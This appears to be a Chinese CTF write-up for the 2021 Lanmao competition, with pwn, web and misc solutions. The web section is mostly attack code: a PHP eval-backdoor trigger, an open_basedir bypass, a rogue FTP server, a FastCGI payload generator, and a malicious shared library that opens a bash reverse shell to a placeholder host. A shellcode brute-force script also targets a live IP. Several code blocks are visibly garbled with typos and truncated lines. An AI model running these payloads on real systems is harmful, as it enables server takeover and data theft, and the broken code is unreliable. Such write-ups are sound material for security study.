Pwn
slient
存在shellcode执行
去年蓝帽决赛原题:附带解题链接
https://www.cnblogs.com/p201821440039/p/14219506.html
脚本如下:
from pwn import *
elf=ELF('./chall')
EXCV = context.binary = './chal'
libc=('')
#context.log_level = 'debug'
def pwn, idx, c):
# open
shellcode = "push 0x10032aaa; pop rdrdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"
# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"
# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
# cmp and jz
if idx == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, c)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, c)
shellcode = asm(shellcode)
p.sendafter("xecution-box.\n", shellcode.ljust(0x40-14, b'a') + b'/home/pwn/flag')
idx = 0
var_list = []
while(1):
for c in range(32, 127):
p = remote("8.140.177.7",40334)#nc 8.131.246.36 40334
pwn(p, idx, c)
start = time.time()
try:
p.recv(timeout=2)
excep:
pass
end = time.time()
p.close()
if end-start > 1.5:
var_list.append(c)
print("".join([chr(i) for i in var_list]))
break
else:
print("".join([chr(i) for i in var_list]))
break
idx = idx + 1
print("".join([chr(i) for i in var_list]))
Web
Ball_sigin
玩出来的
one_Pointer_php
感谢buuctf,蓝帽复现环境提供的太及时了,太强了
参考链接:
https://ha1c9on.top/2021/04/29/lmb_one_pointer_php/#i-6
https://rmb122.com/2020/12/30/hxp-CTF-resonator-Writeup-SSRF-via-file-put-contents/
https://zhuanlan.zhihu.com/p/343918026
源码就俩文件:
add_api.php
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",seialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$uuser=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>
user.php
<?php
class User{
public $count;
}
?>
第一部分整型溢出略过
<?php
class User{
public $count=9223372036854775806;
}
$a = new User;
echo urlencode(serialize($a));
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
?>
第二部分可以通过eval执行代码,发现禁用了好多函数和类,而且做了open_basedir
disable_functions = stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive
; This directive allows you to disable certain classes.
; http://php.net/disable-classes
disable_classes = Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException Exception,SplDoublyLinkedLit,Error,ErrorException,ArgumentCountError,ArithmeticError,AsserttionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException
绕过open_basedir:
mkdir('img');chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
可以读取到php.ini啥的,但是flag读取不了,查看权限显示为0400
,绝对是要getshell后提权
phpinfo处显示有一个easy_bypass,这个应该是预期解,web pwn
通过phpinfo还可以发现环境是FPM/FastCGI
,绕过open_basedir读php.ini可以看到端口为9001
考虑到可以通过攻击FPM
来bypass
因为禁用了许多函数和类,普通的ssrf无法使用,但是ftp协议未被禁用
这篇文章讲的挺清楚:
https://rmb122.com/2020/12/30/hxp-CTF-resonator-Writeup-SSRF-via-file-put-contents/
ftp 协议相对比较复杂, 其中存在一个特性, 相信大家都听说过, 就是 ftp 的数据端口和指令端口是分开的, 我们平时所说的 21 号端口其实是 ftp 的指令端口, 用于发送指令, 比如认证用户和指定读取的文件. 但是如果是传输文件的内容, ftp 实际上会重新打开一个链接, 同时还分为两种模式, 被动模式和主动模式.
这里 wikipedia 讲的比较清楚, 我直接复制一段过来
FTP有两种使用模式:主动和被动。主动模式要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题。所以,创立了被动模式。被动模式只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。
注意 被动模式只要求服务器端产生一个监听相应端口的进程
, 这里有非常重要的一点, 这个被动模式的端口是服务器指定的, 而且还有一点是很多地方没有提到的, 实际上除了端口, 服务器的地址也是可以被指定的. 由于 ftp 和 http 类似, 协议内容全是纯文本, 我们可以很清晰的看到它是如何指定地址和端口的
227 Entering Passive Mode(192,168,9,2,4,8)
227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语, 而 (192,168,9,2,4,8) 代表让客户端连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口.
这样这个如何利用就很明显了, file_put_contents 在使用 ftp 协议时, 会将 data 的内容上传到 ftp 服务器, 由于上面说的 pasv 模式下, 服务器的地址和端口是可控, 我们可以将地址和端口指到 127.0.0.1:9000. 同时由于 ftp 的特性, 不会有任何的多余内容, 类似 gopher 协议, 会将 data 原封不动的发给 127.0.0.1:9000, 完美符合攻击 fastcgi 的要求.
伪造FTP服务器
import socket
host = '0.0.0.0'
port = 2334
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn, address = sk.accept()
conn.send("200 \n")
print '200'
print conn.recv(20)
conn.send("200 \n")
print '200'
print conn.recv(20)
conn.send("200 \n")
print '200'
print conn.recv(20)
conn.send("300 \n")
print '300'
print conn.recv(20)
conn.send("200 \n")
print '200'
print conn.recv(20)
print "ck"
nn.send("22 127,0,0,1,0,9001\n")
print '200'
print conn.recv(20)0)
conn.sendd("150 \n")
print '150'
print conn.recv(20)
conn.close()
exit()
生成payload
<?php
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
rturn chr(self::VERSION_1) /* version */
. chhr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr$requestId & 0xFF) /* requestIdB0 */
. chr(($$clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($thresp['contentLength']) {
$len = $resp['contentL $resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response typ, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0 . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_reppeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
// 输出构造好的请求
return (urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE::/ return $response;
// }
}
}
// php5
// ssrf生成payload的话,这里不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$SCRIPT_FILENAME = '/var/www/html/user.php';
$SCRIPT_NAME = '/'.basename($SCRIPT_FILENAME);
// GET参数
$REQUEST_URI = $SCRIPT_NAME;
// POST参数
$content = '';
// 设置php_value利用php://input执行代码
// $PHP_ADMIN_VALUE = "allow_url_include=On\nopen_basedir=/\nauto_prepend_file=php://input";
// 设置php_value加载恶意so文件,把so文件上传到/var/www/html中或其他目录
$PHP_ADMIN_VALUE = "extension_dir = /var/www/html\nextension = evil.so\n";
$res = $client->request(
array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $SCRIPT_FILENAME,
'SCRIPT_NAME' => $SCRIPT_NAME,
'REQUEST_URI' => $REQUEST_URI,
'PHP_ADMIN_VALUE' => $PHP_ADMIN_VALUE,
'SERVER_SOFTWARE' => 'php/fastcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen($content),
),
$content
);
// 这次也不用二次编码了
echo('gopher://127.0.0.1:9000/_'.str_replace("%2B", "+", ($res)));
攻击
先写一个扩展
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/xxxx/2333 0>&1'");
}
编译
gcc evil.c -fPIC -shared -o evil.so
至此我们的恶意so文件生成完毕
恶意so文件编译好上传后
开启恶意ftp服务器
构造file_put_contents
$file = $_GET['file'];
$data = $_GET['data'];
file_put_contents($file,$data);
//http://7e653797-b723-4b3a-8977-5558bdd011e8.node3.buuoj.cn/shell.php?file=ftp://47.104.134.135:2334/anything&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%A5%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F2PHP_ADMIN_VALUEextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+evil.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00
//POST:
//a=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);
监听端口,发送请求即可收到shell
flag没权限
使用suid提权,查找有权限的命令
find / -perm -u=s -type f 2>/dev/null
php -a
进入交互模式,进行绕过open_basedir并getflag
chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');
更骚的办法
http://bubb1e.com/2021/04/29/%E8%93%9D%E5%B8%BD%E6%9D%AF2021WP_WEB/#0x02-one-Pointer-php
除了fsockopen
这个函数外,还有一个pfsockopen
这俩函数没啥区别
这里只ban了fsockopen
所以我们可以通过将蚁剑插件中的fsockopen
全部替换为pfsockopen
达到getshell目的
然后加一个9001端口的选项
全部修改完后,重启蚁剑,先写个新的一句话shell.php
用蚁剑连接上这个新的,开启bypass
插件
bypass_php_disable_functions
的fpm插件会上传.so文件,然后开启一个新的不使用php.ini的php进程并加载恶意so文件,来达到绕过disable_functions
的操作
可以看到,蚁剑生成了一个新的.antproxy.php
这个php的作用是把流量转发到新开启的php进程
我们修改或新建蚁剑的链接如下
成功绕过,并且因为php本身suid有root权限,因此不用提权即可直接读取flag
Misc
冬奥会_is_coming
分离图片,找到压缩包
解压出一个MP3,MP3最后面有密文
看看压缩包的注释,发现提示
考虑题目为冬奥会_is_coming
,猜测密码为冬奥会开始日期20220204
解16进制
Google一搜,发现编码类型
https://www.dcode.fr/wingdings-font
解出来这个
去github找相应的仓库1cePeak
https://github.com/Tr0jAnV1rU4/1cePeak
git clone下来,发现有被删除的文件,checkout
一下
怀疑这是个key,想到第一步从mp3尾部解出的emoji,在线搜一下
https://miaotony.xyz/2021/02/11/CTF_2021NewsCTF/#toc-heading-5
https://aghorler.github.io/emoji-aes/
直接解出flag
I_will_but_not_quite
题目给了文件
#!/user/bin/python2
import random
def r(s, num):
l=""
for i in s:
if(ord(i) in range(97,97+26)):
l+=chr((ord(i)-97+num)%26+97)
else:
l+=i
return l
def x(a, b):
return chr(ord(a)^ord(b))
def encrypt(c):
secret = c
n=random.randint(1,1000)
for i in range(n):
secret = r(secret, random.randint(1,26))
secret = secret.encode('base64')
l = ""
for i in range(len(secret)):
l += x(secret[i], secret[(i+1)%len(secret)])
return l.encode('base64')
flag = "#################"
print "secret =", encrypt(flag)
#secret = The key you got
解压出来是Twin.vmem,内存取证
看系统版本,查文件列表
找所有的图片、压缩包,并提取
那个倒影.zip是UNCTF的题,不用看了,直接看sea.zip
sea.zip中有注释:
暂时不知道啥意思,直接工具全试一遍,发现是outguess+弱口令
双十六进制编码,解出来既是密文
https://www.calcresult.com/misc/cyphers/twin-hex.html
逆加密脚本,得解密脚本
secret = "Vnw3HC07BDgbBWNRGTx2fSckf399V1Z9CxIvHVd6fHsaEnR8fX40NyQ7JhM8CWV5fgMNN24="
def r(s, num):
l = ""
for i in s:
if(ord(i) in range(97,97+26)):
l+=chr((ord(i)-97-num)%26+97)
else:
l+=i
return l
def x(a, b):
return chr(ord(a)^ord(b))
secret = secret.decode('base64')
for i in range(97,123):
last_chr = chr(i)
tmp_flag = ''
tmp_flag += last_chr
for j in range(len(secret)):
tmp_flag += x(secret[j],tmp_flag[-1])
tmp_flag = tmp_flag[:-1]
try:
tmp_flag = tmp_flag.decode('base64')
for k in range(1,26):
flag = r(tmp_flag,k)
print flag
except:
pass
嫌疑人x的硬盘
这是取证题?
给的镜像,有bitlocker
,取证大师一把梭就能解
找出来俩文件
逆向不会了
[参考链接](http://www.rayi.vip/2021/05/02/第五届"蓝帽杯" WriteUp/)